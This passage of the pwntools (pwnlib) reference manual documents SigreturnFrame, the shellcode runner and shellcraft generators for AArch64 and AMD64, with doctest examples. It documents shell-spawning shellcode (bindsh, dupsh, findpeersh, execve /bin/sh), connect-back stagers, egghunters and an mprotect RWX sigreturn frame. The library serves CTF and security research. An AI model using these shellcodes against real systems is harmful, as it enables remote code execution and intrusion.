↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
```

Crafting a SigreturnFrame that calls mprotect on MIPSel

```
>>> context.clear()
>>> context.endian = "little"
>>> s = SigreturnFrame(arch='mips')
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,␣
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
>>> s.v0 = 0x101d
>>> s.a0 = 0x00601000
>>> s.a1 = 0x1000
>>> s.a2 = 0x7
>>> assert len(bytes(s)) == 292
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4125, 0, 0, 0, 6295552, 0, 4096, 0, 7,␣
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
```

(continues on next page)

(continued from previous page)

Crafting a SigreturnFrame that calls mprotect on Aarch64

```
>>> context.clear()
>>> context.endian = "little"
>>> s = SigreturnFrame(arch='aarch64')
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,␣
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,␣
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,␣
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1179680769, 528]
>>> s.x8 = 0xe2
>>> s.x0 = 0x4000
>>> s.x1 = 0x1000
>>> s.x2 = 0x7
>>> assert len(bytes(s)) == 600
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,␣
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16384,␣
↪0, 4096, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 226, 0, 0, 0, 0, 0, 0, 0, 0, 0,␣
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1179680769, 528]
```

__init__(***kw*)
x.__init__(...) initializes x; see help(type(x)) for signature

__len__() <==> *len(x)*

__setattr__(*attr*, *value*)
x.__setattr__('name', value) <==> x.name = value

__setitem__(*item*, *value*)
x.__setitem__(i, y) <==> x[i]=y

__str__() <==> *str(x)*

set_regvalue(*reg*, *val*)
Sets a specific `reg` to a `val`

__weakref__
list of weak references to the object (if defined)

2.28 `pwnlib.runner` — Running Shellcode

`pwnlib.runner.`**run_assembly**(**a*, ***kw*)
Given an assembly listing, assemble and execute it.

Returns A *pwnlib.tubes.process.process* tube to interact with the process.

Example

```
>>> p = run_assembly('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> p.wait_for_close()
>>> p.poll()
3
```

```
>>> p = run_assembly('mov r0, #12; mov r7, #1; svc #0', arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
```

`pwnlib.runner.run_shellcode(*a, **kw)`
Given assembled machine code bytes, execute them.

Example

```
>>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> p = run_shellcode(bytes)
>>> p.wait_for_close()
>>> p.poll()
3
```

```
>>> bytes = asm('mov r0, #12; mov r7, #1; svc #0', arch='arm')
>>> p = run_shellcode(bytes, arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
```

`pwnlib.runner.run_assembly_exitcode(*a, **kw)`
Given an assembly listing, assemble and execute it, and wait for the process to die.

Returns The exit code of the process.

Example

```
>>> run_assembly_exitcode('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
3
```

`pwnlib.runner.run_shellcode_exitcode(*a, **kw)`
Given assembled machine code bytes, execute them, and wait for the process to die.

Returns The exit code of the process.

Example

```
>>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> run_shellcode_exitcode(bytes)
3
```

2.29 `pwnlib.shellcraft` — Shellcode generation

The shellcode module.

This module contains functions for generating shellcode.

It is organized first by architecture and then by operating system.

2.29.1 Submodules

`pwnlib.shellcraft.aarch64` — Shellcode for AArch64

`pwnlib.shellcraft.aarch64`

`pwnlib.shellcraft.aarch64.`**`breakpoint`**`()`

Inserts a debugger breakpoint (raises SIGTRAP).

Example

```
>>> run_assembly(shellcraft.breakpoint()).poll(True)
-5
```

`pwnlib.shellcraft.aarch64.`**`crash`**`()`

Crashes the process.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

`pwnlib.shellcraft.aarch64.`**`infloop`**`()`

An infinite loop.

Example

```
>>> io = run_assembly(shellcraft.infloop())
>>> io.recvall(timeout=1)
b''
>>> io.close()
```

`pwnlib.shellcraft.aarch64.`**`memcpy`**`(`*dest*, *src*, *n*`)`

Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

pwnlib.shellcraft.aarch64.**mov**(*dst*, *src*)
Move src into dest.

Support for automatically avoiding newline and null bytes has to be done.

If src is a string that is not a register, then it will locally set *context.arch* to *'arm'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Examples

```
>>> print(shellcraft.mov('x0','x1').rstrip())
    mov  x0, x1
>>> print(shellcraft.mov('x0','0').rstrip())
    mov  x0, xzr
>>> print(shellcraft.mov('x0', 5).rstrip())
    mov  x0, #5
>>> print(shellcraft.mov('x0', 0x34532).rstrip())
    /* Set x0 = 214322 = 0x34532 */
    mov  x0, #17714
    movk x0, #3, lsl #16
```

Parameters

- **dest** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.

pwnlib.shellcraft.aarch64.**push**(*value*, *register1='x14'*, *register2='x15'*)
Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate using `pwnlib.constants.eval()` before determining how to push it.

Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Note: AArch64 requires that the stack remain 16-byte aligned at all times, so this alignment is preserved.

Parameters

- **value** (*int, str*) – The value or register to push
- **register1** (*str*) – Scratch register to use
- **register2** (*str*) – Second scratch register to use

Example

```
>>> print(pwnlib.shellcraft.push(0).rstrip())
    /* push 0 */
    mov  x14, xzr
    str x14, [sp, #-16]!
>>> print(pwnlib.shellcraft.push(1).rstrip())
    /* push 1 */
    mov  x14, #1
```

(continues on next page)

(continued from previous page)

```
    str x14, [sp, #-16]!
>>> print(pwnlib.shellcraft.push(256).rstrip())
    /* push 0x100 */
    mov  x14, #256
    str x14, [sp, #-16]!
>>> print(pwnlib.shellcraft.push('SYS_execve').rstrip())
    /* push SYS_execve (0xdd) */
    mov  x14, #221
    str x14, [sp, #-16]!
>>> print(pwnlib.shellcraft.push('SYS_sendfile').rstrip())
    /* push SYS_sendfile (0x47) */
    mov  x14, #71
    str x14, [sp, #-16]!
>>> with context.local(os = 'freebsd'):
...     print(pwnlib.shellcraft.push('SYS_execve').rstrip())
...
    /* push SYS_execve (0x3b) */
    mov  x14, #59
    str x14, [sp, #-16]!
```

`pwnlib.shellcraft.aarch64.`**`pushstr`**(*string*, *append_null=True*, *register1='x14'*, *register2='x15'*, *pretty=None*)

Pushes a string onto the stack.

r12 is defined as the inter-procedural scratch register ($ip), so this should not interfere with most usage.

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.
- **register** (*str*) – Temporary register to use. By default, R7 is used.

Examples

```
>>> string = "Hello, world!"
>>> assembly = shellcraft.pushstr(string)
>>> assembly += shellcraft.write(1, 'sp', len(string))
>>> assembly += shellcraft.exit()
>>> ELF.from_assembly(assembly).process().recvall()
b'Hello, world!'
```

```
>>> string = "Hello, world! This is a long string! Wow!"
>>> assembly = shellcraft.pushstr(string)
>>> assembly += shellcraft.write(1, 'sp', len(string))
>>> assembly += shellcraft.exit()
>>> ELF.from_assembly(assembly).process().recvall()
b'Hello, world! This is a long string! Wow!'
```

`pwnlib.shellcraft.aarch64.`**`pushstr_array`**(*reg*, *array*, *register1='x14'*, *register2='x15'*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.

- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

Example

```
>>> assembly = shellcraft.execve("/bin/sh", ["sh", "-c", "echo Hello string $WORLD
↪"], {"WORLD": "World!"})
>>> ELF.from_assembly(assembly).process().recvall()
b'Hello string World!\n'
```

`pwnlib.shellcraft.aarch64.`**`setregs`**(*reg_context, stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'x0':1, 'x2':'x3'}).rstrip())
    mov  x0, #1
    mov  x2, x3
>>> print(shellcraft.setregs({'x0':'x1', 'x1':'x0', 'x2':'x3'}).rstrip())
    mov  x2, x3
    eor  x0, x0, x1 /* xchg x0, x1 */
    eor  x1, x0, x1
    eor  x0, x0, x1
```

`pwnlib.shellcraft.aarch64.`**`trap`**()

Inserts a debugger breakpoint (raises SIGTRAP).

Example

```
>>> run_assembly(shellcraft.breakpoint()).poll(True)
-5
```

`pwnlib.shellcraft.aarch64.`**`xor`**(*key, address, count*)

XORs data a constant value.

Parameters

- **key** (*int, str*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes.
- **address** (*int*) – Address of the data (e.g. 0xdead0000, 'rsp')
- **count** (*int*) – Number of bytes to XOR.

Example

```
>>> sc  = shellcraft.read(0, 'sp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'sp', 32)
>>> sc += shellcraft.write(1, 'sp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.aarch64.linux

pwnlib.shellcraft.aarch64.linux.**cat** (*filename*, *fd=1*)

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'This is the flag\n')
>>> shellcode = shellcraft.cat(f) + shellcraft.exit(0)
>>> run_assembly(shellcode).recvline()
b'This is the flag\n'
```

pwnlib.shellcraft.aarch64.linux.**cat2** (*filename*, *fd=1*, *length=16384*)

Opens a file and writes its contents to the specified file descriptor. Uses an extra stack buffer and must know the length.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'This is the flag\n')
>>> shellcode = shellcraft.cat2(f) + shellcraft.exit(0)
>>> run_assembly(shellcode).recvline()
b'This is the flag\n'
```

pwnlib.shellcraft.aarch64.linux.**connect** (*host*, *port*, *network='ipv4'*)

Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in x12.

pwnlib.shellcraft.aarch64.linux.**echo** (*string*, *sock='1'*)

Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
b'hello\n'
```

pwnlib.shellcraft.aarch64.linux.**forkexit** ()

Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.aarch64.linux.`**`kill`**`(`*pid*, *sig*`)` → str
Invokes the syscall kill.

See 'man 2 kill' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **sig** (*int*) – sig

Returns int

`pwnlib.shellcraft.aarch64.linux.`**`killparent`**`()`
Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

`pwnlib.shellcraft.aarch64.linux.`**`loader`**`(`*address*`)`
Loads a statically-linked ELF into memory and transfers control.

Parameters **address** (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.aarch64.linux.`**`loader_append`**`(`*data=None*`)`
Loads a statically-linked ELF into memory and transfers control.

Similar to loader.asm but loads an appended ELF.

Parameters **data** (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example:

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
>>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
>>> payloadELF = ELF.from_assembly(payload)
>>> loader = shellcraft.loader_append(payloadELF.data)
>>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
>>> loaderELF.process().recvall()
b'Hello, world!\n'
```

`pwnlib.shellcraft.aarch64.linux.`**`open`**`(`*filename*, *flags='O_RDONLY'*, *mode='x3'*`)`
Opens a file

`pwnlib.shellcraft.aarch64.linux.`**`readn`**`(`*fd*, *buf*, *nbytes*`)`
Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

`pwnlib.shellcraft.aarch64.linux.`**`sh`**`()`
Execute a different process.

```
>>> p = run_assembly(shellcraft.aarch64.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.aarch64.linux.`**`socket`**`(`*network='ipv4'*, *proto='tcp'*`)`
Creates a new socket

pwnlib.shellcraft.aarch64.linux.**stage**(*fd=0*, *length=None*)

Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to recv data from. Default is stdin (0).
- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
```

pwnlib.shellcraft.aarch64.linux.**syscall**(*syscall=None*, *arg0=None*, *arg1=None*, *arg2=None*, *arg3=None*, *arg4=None*, *arg5=None*, *arg6=None*)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(shellcraft.aarch64.linux.syscall(11, 1, 'sp', 2, 0).rstrip())
    /* call syscall(0xb, 1, 'sp', 2, 0) */
    mov  x0, #1
    mov  x1, sp
    mov  x2, #2
    mov  x3, xzr
    mov  x8, #11
    svc 0
>>> print(shellcraft.aarch64.linux.syscall('SYS_exit', 0).rstrip())
    /* call exit(0) */
    mov  x0, xzr
    mov  x8, #SYS_exit
    svc 0
>>> print(pwnlib.shellcraft.openat(-2, '/home/pwn/flag').rstrip())
    /* openat(fd=-2, file='/home/pwn/flag', oflag=0) */
    /* push b'/home/pwn/flag\x00' */
    /* Set x14 = 8606431000579237935 = 0x77702f656d6f682f */
    mov  x14, #26671
    movk x14, #28015, lsl #16
    movk x14, #12133, lsl #0x20
    movk x14, #30576, lsl #0x30
    /* Set x15 = 113668128124782 = 0x67616c662f6e */
    mov  x15, #12142
    movk x15, #27750, lsl #16
    movk x15, #26465, lsl #0x20
    stp x14, x15, [sp, #-16]!
    mov  x1, sp
    /* Set x0 = -2 = -2 */
```

(continues on next page)

(continued from previous page)

```
    mov  x0, #65534
    movk x0, #65535, lsl #16
    movk x0, #65535, lsl #0x20
    movk x0, #65535, lsl #0x30
    mov  x2, xzr
    /* call openat() */
    mov  x8, #SYS_openat
    svc 0
```

pwnlib.shellcraft.amd64 — Shellcode for AMD64

pwnlib.shellcraft.amd64

Shellcraft module containing generic Intel x86_64 shellcodes.

pwnlib.shellcraft.amd64.**crash**()
Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

pwnlib.shellcraft.amd64.**infloop**()
A two-byte infinite loop.

pwnlib.shellcraft.amd64.**itoa**(*v*, *buffer='rsp'*, *allocate_stack=True*)
Converts an integer into its string representation, and pushes it onto the stack.

Parameters

- **v** (*str, int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.amd64.mov('rax', 0xdeadbeef)
>>> sc += shellcraft.amd64.itoa('rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> run_assembly(sc).recvuntil(b'\x00')
b'3735928559\x00'
```

pwnlib.shellcraft.amd64.**memcpy**(*dest*, *src*, *n*)
Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.amd64.`**`mov`**(*dest*, *src*, *stack_allowed=True*)

Move src into dest without newlines and null bytes.

If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register.

If the src is a register larger than the dest, then only some of the bits will be used.

If src is a string that is not a register, then it will locally set *context.arch* to *'amd64'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Example

```
>>> print(shellcraft.amd64.mov('eax','ebx').rstrip())
    mov eax, ebx
>>> print(shellcraft.amd64.mov('eax', 0).rstrip())
    xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('ax', 0).rstrip())
    xor ax, ax /* 0 */
>>> print(shellcraft.amd64.mov('rax', 0).rstrip())
    xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('rdi', 'ax').rstrip())
    movzx edi, ax
>>> print(shellcraft.amd64.mov('al', 'ax').rstrip())
    /* moving ax into al, but this is a no-op */
>>> print(shellcraft.amd64.mov('ax', 'bl').rstrip())
    movzx ax, bl
>>> print(shellcraft.amd64.mov('eax', 1).rstrip())
    push 1
    pop rax
>>> print(shellcraft.amd64.mov('rax', 0xc0).rstrip())
    xor eax, eax
    mov al, 0xc0
>>> print(shellcraft.amd64.mov('rax', 0xc000).rstrip())
    xor eax, eax
    mov ah, 0xc000 >> 8
>>> print(shellcraft.amd64.mov('rax', 0xc0c0).rstrip())
    xor eax, eax
    mov ax, 0xc0c0
>>> print(shellcraft.amd64.mov('rdi', 0xff).rstrip())
    mov edi, 0x1010101 /* 255 == 0xff */
    xor edi, 0x10101fe
>>> print(shellcraft.amd64.mov('rax', 0xdead00ff).rstrip())
    mov eax, 0x1010101 /* 3735879935 == 0xdead00ff */
    xor eax, 0xdfac01fe
>>> print(shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip())
    mov rax, 0x101010101010101 /* 76750323967 == 0x11dead00ff */
    push rax
    mov rax, 0x1010110dfac01fe
    xor [rsp], rax
    pop rax
>>> print(shellcraft.amd64.mov('rax', 0xffffffff).rstrip())
    mov eax, 0xffffffff
>>> print(shellcraft.amd64.mov('rax', 0x7fffffff).rstrip())
    mov eax, 0x7fffffff
>>> print(shellcraft.amd64.mov('rax', 0x80010101).rstrip())
    mov eax, 0x80010101
```

(continues on next page)

(continued from previous page)

```
>>> print(shellcraft.amd64.mov('rax', 0x80000000).rstrip())
    mov eax, 0x1010101 /* 2147483648 == 0x80000000 */
    xor eax, 0x81010101
>>> print(shellcraft.amd64.mov('rax', 0xffffffffffffffff).rstrip())
    push 0xffffffffffffffff
    pop rax
>>> with context.local(os = 'linux'):
...     print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
    xor eax, eax /* SYS_read */
>>> with context.local(os = 'freebsd'):
...     print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
    push SYS_read /* 3 */
    pop rax
>>> with context.local(os = 'linux'):
...     print(shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').
↪rstrip())
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop rax
```

Parameters

- **dest** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.
- **stack_allowed** (*bool*) – Can the stack be used?

`pwnlib.shellcraft.amd64.`**`nop`**`()`
A single-byte nop instruction.

`pwnlib.shellcraft.amd64.`**`popad`**`()`
Pop all of the registers onto the stack which i386 popad does, in the same order.

`pwnlib.shellcraft.amd64.`**`push`**`(`*value*`)`
Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch = 'amd64'* using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters **value** (*int, str*) – The value or register to push

Example

```
>>> print(pwnlib.shellcraft.amd64.push(0).rstrip())
    /* push 0 */
    push 1
    dec byte ptr [rsp]
>>> print(pwnlib.shellcraft.amd64.push(1).rstrip())
    /* push 1 */
    push 1
>>> print(pwnlib.shellcraft.amd64.push(256).rstrip())
    /* push 0x100 */
    push 0x1010201 ^ 0x100
    xor dword ptr [rsp], 0x1010201
>>> with context.local(os = 'linux'):
```

(continues on next page)

(continued from previous page)

```
...     print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
    /* push 'SYS_write' */
    push 1
>>> with context.local(os = 'freebsd'):
...     print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
    /* push 'SYS_write' */
    push 4
```

`pwnlib.shellcraft.amd64.pushad()`
Push all of the registers onto the stack which i386 pushad does, in the same order.

`pwnlib.shellcraft.amd64.pushstr(string, append_null=True)`
Pushes a string onto the stack without using null bytes or newline characters.

Example

```
>>> print(shellcraft.amd64.pushstr('').rstrip())
    /* push b'\x00' */
    push 1
    dec byte ptr [rsp]
>>> print(shellcraft.amd64.pushstr('a').rstrip())
    /* push b'a\x00' */
    push 0x61
>>> print(shellcraft.amd64.pushstr('aa').rstrip())
    /* push b'aa\x00' */
    push 0x1010101 ^ 0x6161
    xor dword ptr [rsp], 0x1010101
>>> print(shellcraft.amd64.pushstr('aaa').rstrip())
    /* push b'aaa\x00' */
    push 0x1010101 ^ 0x616161
    xor dword ptr [rsp], 0x1010101
>>> print(shellcraft.amd64.pushstr('aaaa').rstrip())
    /* push b'aaaa\x00' */
    push 0x61616161
>>> print(shellcraft.amd64.pushstr(b'aaa\xc3').rstrip())
    /* push b'aaa\xc3\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0xc3616161
    xor [rsp], rax
>>> print(shellcraft.amd64.pushstr(b'aaa\xc3', append_null = False).rstrip())
    /* push b'aaa\xc3' */
    push -0x3c9e9e9f
>>> print(shellcraft.amd64.pushstr(b'\xc3').rstrip())
    /* push b'\xc3\x00' */
    push 0x1010101 ^ 0xc3
    xor dword ptr [rsp], 0x1010101
>>> print(shellcraft.amd64.pushstr(b'\xc3', append_null = False).rstrip())
    /* push b'\xc3' */
    push -0x3d
>>> with context.local():
...    context.arch = 'amd64'
...    print(enhex(asm(shellcraft.pushstr("/bin/sh"))))
48b801010101010101015048b82e63686f2e72690148310424
>>> with context.local():
```

(continues on next page)

(continued from previous page)

```
...     context.arch = 'amd64'
...     print(enhex(asm(shellcraft.pushstr(""))))
6a01fe0c24
>>> with context.local():
...     context.arch = 'amd64'
...     print(enhex(asm(shellcraft.pushstr("\x00", False))))
6a01fe0c24
```

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

pwnlib.shellcraft.amd64.**pushstr_array**(*reg*, *array*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.amd64.**ret**(*return_value=None*)

A single-byte RET instruction.

Parameters **return_value** – Value to return

pwnlib.shellcraft.amd64.**setregs**(*reg_context*, *stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'rax':1, 'rbx':'rax'}).rstrip())
    mov rbx, rax
    push 1
    pop rax
>>> print(shellcraft.setregs({'rax': 'SYS_write', 'rbx':'rax'}).rstrip())
    mov rbx, rax
    push SYS_write /* 1 */
    pop rax
>>> print(shellcraft.setregs({'rax':'rbx', 'rbx':'rax', 'rcx':'rbx'}).rstrip())
    mov rcx, rbx
    xchg rax, rbx
>>> print(shellcraft.setregs({'rax':1, 'rdx':0}).rstrip())
    push 1
    pop rax
    cdq /* rdx=0 */
```

pwnlib.shellcraft.amd64.**strcpy**(*dst*, *src*)

Copies a string

Example

```
>>> sc  = 'jmp get_str\n'
>>> sc += 'pop_str: pop rax\n'
>>> sc += shellcraft.amd64.strcpy('rsp', 'rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> sc += shellcraft.amd64.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).recvline()
b'Hello, world\n'
```

pwnlib.shellcraft.amd64.**strlen**(*string*, *reg='rcx'*)
Calculate the length of the specified string.

Parameters

- **string** (*str*) – Register or address with the string
- **reg** (*str*) – Named register to return the value in, rcx is the default.

Example

```
>>> sc  = 'jmp get_str\n'
>>> sc += 'pop_str: pop rdi\n'
>>> sc += shellcraft.amd64.strlen('rdi', 'rax')
>>> sc += 'push rax;'
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 8)
>>> sc += shellcraft.amd64.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\n')
True
```

pwnlib.shellcraft.amd64.**trap**()
A trap instruction.

pwnlib.shellcraft.amd64.**xor**(*key*, *address*, *count*)
XORs data a constant value.

Parameters

- **key** (*int, str*) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register.
- **address** (*int*) – Address of the data (e.g. 0xdead0000, 'esp')
- **count** (*int*) – Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc  = shellcraft.read(0, 'rsp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'rsp', 32)
>>> sc += shellcraft.write(1, 'rsp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
```

(continues on next page)

(continued from previous page)

```
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.amd64.linux

Shellcraft module containing Intel x86_64 shellcodes for Linux.

`pwnlib.shellcraft.amd64.linux.`**`amd64_to_i386`**`()`
Returns code to switch from amd64 to i386 mode.

Note that you most surely want to set up some stack (and place this code) in low address space before (or afterwards).

`pwnlib.shellcraft.amd64.linux.`**`bindsh`**`(`*port*, *network*`)`
Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.amd64.linux.`**`cat`**`(`*filename*, *fd=1*`)`
Opens a file and writes its contents to the specified file descriptor.

`pwnlib.shellcraft.amd64.linux.`**`cat2`**`(`*filename*, *fd=1*, *length=16384*`)`
Opens a file and writes its contents to the specified file descriptor. Uses an extra stack buffer and must know the length.

`pwnlib.shellcraft.amd64.linux.`**`connect`**`(`*host*, *port*, *network='ipv4'*`)`
Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in rbp.

`pwnlib.shellcraft.amd64.linux.`**`connectstager`**`(`*host*, *port*, *network='ipv4'*`)`
connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

`pwnlib.shellcraft.amd64.linux.`**`dup`**`(`*sock='rbp'*`)`
Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr

`pwnlib.shellcraft.amd64.linux.`**`dupsh`**`(`*sock='rbp'*`)`
Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwnlib.shellcraft.amd64.linux.`**`echo`**`(`*string*, *sock='1'*`)`
Writes a string to a file descriptor

`pwnlib.shellcraft.amd64.linux.`**`egghunter`**`(`*egg*, *start_address = 0*`)`
Searches memory for the byte sequence 'egg'.

Return value is the address immediately following the match, stored in RDI.

Parameters

- **egg** (*str, int*) – String of bytes, or word-size integer to search for
- **start_address** (*int*) – Where to start the search

`pwnlib.shellcraft.amd64.linux.`**`findpeer`**`(`*port=None*`)`
Args: port (defaults to any port) Finds a socket, which is connected to the specified port. Leaves socket in RDI.

`pwnlib.shellcraft.amd64.linux.`**`findpeersh`**`(`*port=None*`)`
Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

`pwnlib.shellcraft.amd64.linux.`**`findpeerstager`**`(`*port=None*`)`
